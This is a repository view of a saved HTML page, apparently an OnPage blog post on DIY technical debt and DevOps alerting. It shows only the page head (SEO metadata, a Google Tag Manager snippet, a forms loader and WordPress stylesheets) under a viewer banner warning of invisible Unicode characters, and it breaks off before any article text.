Files
nexus/sreweekly/articles/58/10-a-very-short-primer-on-diy-technical-debt-and-devops-alerting.html
2026-09-12 17:23:01 +08:00

2011 lines
229 KiB
HTML
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!doctype html>
<html class="no-js" lang="en-US">
<head>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-TWQGPW');</script>
<!-- End Google Tag Manager -->
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<script>
var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}});
</script>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="shortcut icon" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon.ico" />
<link rel="apple-touch-icon" sizes="57x57" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-57x57.png" />
<link rel="apple-touch-icon" sizes="114x114" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-114x114.png" />
<link rel="apple-touch-icon" sizes="72x72" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-72x72.png" />
<link rel="apple-touch-icon" sizes="144x144" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-144x144.png" />
<link rel="apple-touch-icon" sizes="60x60" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-60x60.png" />
<link rel="apple-touch-icon" sizes="120x120" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-120x120.png" />
<link rel="apple-touch-icon" sizes="76x76" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-76x76.png" />
<link rel="apple-touch-icon" sizes="152x152" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/apple-touch-icon-152x152.png" />
<link rel="icon" type="image/png" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon-196x196.png" sizes="196x196" />
<link rel="icon" type="image/png" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon-96x96.png" sizes="96x96" />
<link rel="icon" type="image/png" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon-16x16.png" sizes="16x16" />
<link rel="icon" type="image/png" href="https://www.onpage.com/wp-content/themes/onpage/assets/fav/favicon-128.png" sizes="128x128" />
<meta name="application-name" content="&nbsp;"/>
<meta name="msapplication-TileColor" content="#FFFFFF" />
<meta name="msapplication-TileImage" content="mstile-144x144.png" />
<meta name="msapplication-square70x70logo" content="mstile-70x70.png" />
<meta name="msapplication-square150x150logo" content="mstile-150x150.png" />
<meta name="msapplication-wide310x150logo" content="mstile-310x150.png" />
<meta name="msapplication-square310x310logo" content="mstile-310x310.png" />
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,400;0,700;1,400&display=swap" rel="stylesheet">
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
<!-- This site is optimized with the Yoast SEO plugin v25.8 - https://yoast.com/wordpress/plugins/seo/ -->
<title>DevOps Alerting | OnPage for DevOps Alerting Operations</title>
<meta name="description" content="Never try to hack together a tool for DevOps alerting and monitoring.Alerting is too important and complex to leave to a hack or technical debt." />
<link rel="canonical" href="https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="DevOps Alerting | OnPage for DevOps Alerting Operations" />
<meta property="og:description" content="Never try to hack together a tool for DevOps alerting and monitoring.Alerting is too important and complex to leave to a hack or technical debt." />
<meta property="og:url" content="https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/" />
<meta property="og:site_name" content="OnPage" />
<meta property="article:publisher" content="https://www.facebook.com/OnPage" />
<meta property="article:published_time" content="2017-02-01T19:58:41+00:00" />
<meta property="article:modified_time" content="2023-06-08T15:38:07+00:00" />
<meta property="og:image" content="https://www.onpage.com/wp-content/uploads/diy-devops-tools.png" />
<meta property="og:image:width" content="1248" />
<meta property="og:image:height" content="480" />
<meta property="og:image:type" content="image/png" />
<meta name="author" content="OnPage Corporation" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:creator" content="@On_Page" />
<meta name="twitter:site" content="@On_Page" />
<!-- / Yoast SEO plugin. -->
<link rel="amphtml" href="https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/amp/" /><meta name="generator" content="AMP for WP 1.1.16"/><link rel='dns-prefetch' href='//www.google.com' />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://www.onpage.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.onpage.com%2Fprimer-on-diy-technical-debt-and-devops-alerting%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://www.onpage.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.onpage.com%2Fprimer-on-diy-technical-debt-and-devops-alerting%2F&#038;format=xml" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<link rel='stylesheet' id='sdm-styles-css' href='https://www.onpage.com/wp-content/plugins/simple-download-monitor/css/sdm_wp_styles.css?ver=7.1' media='all' />
<link rel='stylesheet' id='wpauthor-blocks-fontawesome-front-css' href='https://www.onpage.com/wp-content/plugins/wp-post-author/assets/fontawesome/css/all.css?ver=3.6.4' media='all' />
<link rel='stylesheet' id='wpauthor-frontend-block-style-css-css' href='https://www.onpage.com/wp-content/plugins/wp-post-author/assets/dist/blocks.style.build.css?ver=3.6.4' media='all' />
<style id="wp-emoji-styles-inline-css">
img.wp-smiley, img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
</style>
<style id="classic-theme-styles-inline-css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<link rel='stylesheet' id='mpp_gutenberg-css' href='https://www.onpage.com/wp-content/plugins/metronet-profile-picture/dist/blocks.style.build.css?ver=2.6.3' media='all' />
<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
/*# sourceURL=global-styles-inline-css */
</style>
<link rel='stylesheet' id='responsive-lightbox-prettyphoto-css' href='https://www.onpage.com/wp-content/plugins/responsive-lightbox/assets/prettyphoto/prettyPhoto.min.css?ver=3.1.6' media='all' />
<link rel='stylesheet' id='dashicons-css' href='https://www.onpage.com/wp-includes/css/dashicons.min.css?ver=7.1' media='all' />
<link rel='stylesheet' id='wp-pagenavi-css' href='https://www.onpage.com/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' media='all' />
<link rel='stylesheet' id='awpa-wp-post-author-styles-css' href='https://www.onpage.com/wp-content/plugins/wp-post-author/assets/css/awpa-frontend-style.css?ver=3.6.4' media='all' />
<style id="awpa-wp-post-author-styles-inline-css">
.wp_post_author_widget .wp-post-author-meta .awpa-display-name > a:hover,
body .wp-post-author-wrap .awpa-display-name > a:hover {
color: #85b81b;
}
.wp-post-author-meta .wp-post-author-meta-more-posts a.awpa-more-posts:hover,
.awpa-review-field .right-star .awpa-rating-button:not(:disabled):hover {
color: #85b81b;
border-color: #85b81b;
}
/*# sourceURL=awpa-wp-post-author-styles-inline-css */
</style>
<link rel='stylesheet' id='shiftnav-css' href='https://www.onpage.com/wp-content/plugins/shiftnav-pro/pro/assets/css/shiftnav.min.css?ver=1.7.1' media='all' />
<link rel='stylesheet' id='ubermenu-css' href='https://www.onpage.com/wp-content/plugins/ubermenu/pro/assets/css/ubermenu.min.css?ver=3.8.5' media='all' />
<link rel='stylesheet' id='ubermenu-deepsky-css' href='https://www.onpage.com/wp-content/plugins/ubermenu/pro/assets/css/skins/deepsky.css?ver=7.1' media='all' />
<link rel='stylesheet' id='ubermenu-minimal-css' href='https://www.onpage.com/wp-content/plugins/ubermenu/assets/css/skins/minimal.css?ver=7.1' media='all' />
<link rel='stylesheet' id='ubermenu-font-awesome-all-css' href='https://www.onpage.com/wp-content/plugins/ubermenu/assets/fontawesome/css/all.min.css?ver=7.1' media='all' />
<link rel='stylesheet' id='shiftnav-font-awesome-css' href='https://www.onpage.com/wp-content/plugins/shiftnav-pro/assets/css/fontawesome/css/font-awesome.min.css?ver=1.7.1' media='all' />
<link rel='stylesheet' id='shiftnav-light-css' href='https://www.onpage.com/wp-content/plugins/shiftnav-pro/assets/css/skins/light.css?ver=1.7.1' media='all' />
<link rel='stylesheet' id='roots_bootstrap-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/bootstrap.min.css?ver=1715978241' media='all' />
<link rel='stylesheet' id='roots_boot_theme-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/bootstrap-theme.min.css?ver=1715978241' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/font-awesome.css?ver=1715978241' media='all' />
<link rel='stylesheet' id='roots_carousel-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/carousel.css?ver=1715978241' media='all' />
<link rel='stylesheet' id='owl-carousel-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/owl.carousel.min.css?ver=1715978241' media='all' />
<link rel='stylesheet' id='roots_custom-css' href='https://www.onpage.com/wp-content/themes/onpage/assets/styles/app.css?ver=1760544102' media='all' />
<script id="jquery-core-js" src="https://www.onpage.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://www.onpage.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="responsive-lightbox-prettyphoto-js" src="https://www.onpage.com/wp-content/plugins/responsive-lightbox/assets/prettyphoto/jquery.prettyPhoto.min.js?ver=3.1.6"></script>
<script id="underscore-js" src="https://www.onpage.com/wp-includes/js/underscore.min.js?ver=1.13.8"></script>
<script id="responsive-lightbox-infinite-scroll-js" src="https://www.onpage.com/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js?ver=4.0.1"></script>
<script id="responsive-lightbox-js-before">
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":false,"deeplinking":false,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.onpage.com\/wp-admin\/admin-ajax.php","nonce":"cd39a3c662","preview":false,"postId":27702,"scriptExtension":false};
//# sourceURL=responsive-lightbox-js-before
</script>
<script id="responsive-lightbox-js" src="https://www.onpage.com/wp-content/plugins/responsive-lightbox/js/front.js?ver=2.5.1"></script>
<script id="sdm-scripts-js-extra">
var sdm_ajax_script = {"ajaxurl":"https://www.onpage.com/wp-admin/admin-ajax.php"};
//# sourceURL=sdm-scripts-js-extra
</script>
<script id="sdm-scripts-js" src="https://www.onpage.com/wp-content/plugins/simple-download-monitor/js/sdm_wp_scripts.js?ver=7.1"></script>
<script id="awpa-custom-bg-scripts-js" src="https://www.onpage.com/wp-content/plugins/wp-post-author/assets/js/awpa-frontend-scripts.js?ver=3.6.4"></script>
<script id="gform_script-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/gform.js?ver=1715978241"></script>
<link rel="https://api.w.org/" href="https://www.onpage.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://www.onpage.com/wp-json/wp/v2/posts/27702" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.onpage.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<link rel='shortlink' href='https://www.onpage.com/?p=27702' />
<!-- ShiftNav CSS
================================================================ -->
<style type="text/css" id="shiftnav-dynamic-css">
/** ShiftNav Custom Menu Styles (Customizer) **/
/* togglebar */
#shiftnav-toggle-main { background:#ffffff; }
/* shiftnav-main */
.shiftnav.shiftnav-shiftnav-main .shiftnav-site-title { text-align:center; }
.shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu li.menu-item > .shiftnav-target { color:#001f58; }
.shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu li.menu-item.shiftnav-active > .shiftnav-target, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu li.menu-item.shiftnav-in-transition > .shiftnav-target, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu.shiftnav-active-on-hover li.menu-item > .shiftnav-target:hover, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu.shiftnav-active-highlight li.menu-item > .shiftnav-target:active { background:#f3f3f3; color:#001f58; }
.shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu li.menu-item.current-menu-item > .shiftnav-target, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu li.menu-item ul.sub-menu .current-menu-item > .shiftnav-target, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu > li.shiftnav-sub-accordion.current-menu-ancestor > .shiftnav-target, .shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu > li.shiftnav-sub-shift.current-menu-ancestor > .shiftnav-target { background:#f3f3f3; color:#001f58; }
.shiftnav.shiftnav-shiftnav-main ul.shiftnav-menu ul.sub-menu li.menu-item > .shiftnav-target { color:#001f58; }
/* Status: Loaded from Transient */
</style>
<!-- end ShiftNav CSS -->
<style id="ubermenu-custom-generated-css">
/** Font Awesome 4 Compatibility **/
.fa{font-style:normal;font-variant:normal;font-weight:normal;font-family:FontAwesome;}
/** UberMenu Responsive Styles (Breakpoint Setting) **/
@media screen and (min-width: 601px){
